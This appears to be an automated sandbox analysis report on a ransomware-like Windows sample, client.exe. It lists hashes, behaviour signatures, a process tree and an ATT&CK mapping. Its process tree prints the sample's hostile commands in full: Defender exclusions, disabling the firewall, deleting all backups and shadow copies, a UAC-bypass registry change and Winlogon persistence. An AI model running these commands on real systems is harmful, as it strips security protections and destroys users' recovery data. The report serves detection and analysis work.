Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
28/07/2026, 12:21
Static task
static1
Behavioral task
behavioral1
Sample
client.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
client.exe
Resource
win11ltsc2024-20260709-en
General
- Target client.exe
- Size 17.8MB
- Sample260728-pjtslshl21
- SHA256 7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f
- MD5 ae2102521c9ee919a914bdcf93caa94a
- SHA1 4ebc8a02065eb06ef66d851727747f8cfaeb5aa0
- SHA512 2b278ceb25fdf28ecc05138ff0b5152de589dd6d80dd06e6efa84d68cea25b50e7c787a35d75ce5fe53b46b5843537e9fa0c4fd05da5a1f084cd3adac5de1b7f
- SSDEEP 196608:wrTP+eIOIvKRBVRB0EW8QkkplzPApX+1z/iMR052fM1fICRcyXo:qTP+eI1q1kfPAR+1z/hR052EJp74
- TLSH T15717BE45F2A252E8D667C074C166AA17FB7438BE03502AFB9AD099746F37BD06D3B301
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\client.exe" client.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" client.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1724 powershell.exe 4652 powershell.exe 4652 powershell.exe -
pid Process 4588 wbadmin.exe 3460 wbadmin.exe - Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 3816 netsh.exe 4944 netsh.exe - Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe - Drops file in Windows directory 10 IoCs
description ioc Process File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl wbadmin.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl wbadmin.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2060 cmd.exe 4428 cmd.exe 4596 cmd.exe 212 cmd.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1564 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 62 IoCs
pid Process 4652 powershell.exe 4652 powershell.exe 1724 powershell.exe 1724 powershell.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe 1804 client.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4652 powershell.exe Token: SeDebugPrivilege 1724 powershell.exe Token: SeBackupPrivilege 3304 vssvc.exe Token: SeRestorePrivilege 3304 vssvc.exe Token: SeAuditPrivilege 3304 vssvc.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1804 wrote to memory of 4652 1804 client.exe 86 PID 1804 wrote to memory of 4944 1804 client.exe 88 PID 1804 wrote to memory of 3816 1804 client.exe 92 PID 1804 wrote to memory of 1724 1804 client.exe 94 PID 1724 wrote to memory of 2060 1724 powershell.exe 98 PID 2060 wrote to memory of 4504 2060 cmd.exe 100 PID 1724 wrote to memory of 4428 1724 powershell.exe 101 PID 4428 wrote to memory of 4588 4428 cmd.exe 103 PID 1724 wrote to memory of 4596 1724 powershell.exe 104 PID 4596 wrote to memory of 3460 4596 cmd.exe 106 PID 1724 wrote to memory of 212 1724 powershell.exe 107 PID 212 wrote to memory of 1564 212 cmd.exe 109 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" client.exe - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\client.exe"C:\Users\Admin\AppData\Local\Temp\client.exe"1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1804 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4652
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C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4944
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C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\client.exe" enable=yes2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reagentc /disable3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:4504
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:C: -allVersions -quiet4⤵
- Deletes system backups
- Drops file in Windows directory
PID:4588
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:D: -allVersions -quiet4⤵
- Deletes system backups
- Drops file in Windows directory
PID:3460
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:212 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:1564
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3304
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Windows Command Shell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 98d17949831dda7243aa8b24a66443eee75d0805996826290fbe1a75bfc79e72
- MD5 ada23d35e4a3f1bc35ac8d393cd02675
- SHA1 88dd6ddecec82aeafba2b6368078c7c70b88fcac
- SHA512 0acae33f83787122b779b8b1b41580f4595eb44c74ef0035949e3d90103fd22e15ed4af4238985bd58f8a0378dc8bce4d77549ca4bb661c2c515018be99a79e6
- TLSH T1FF112223F78C8921CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xscd0rl.2yl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH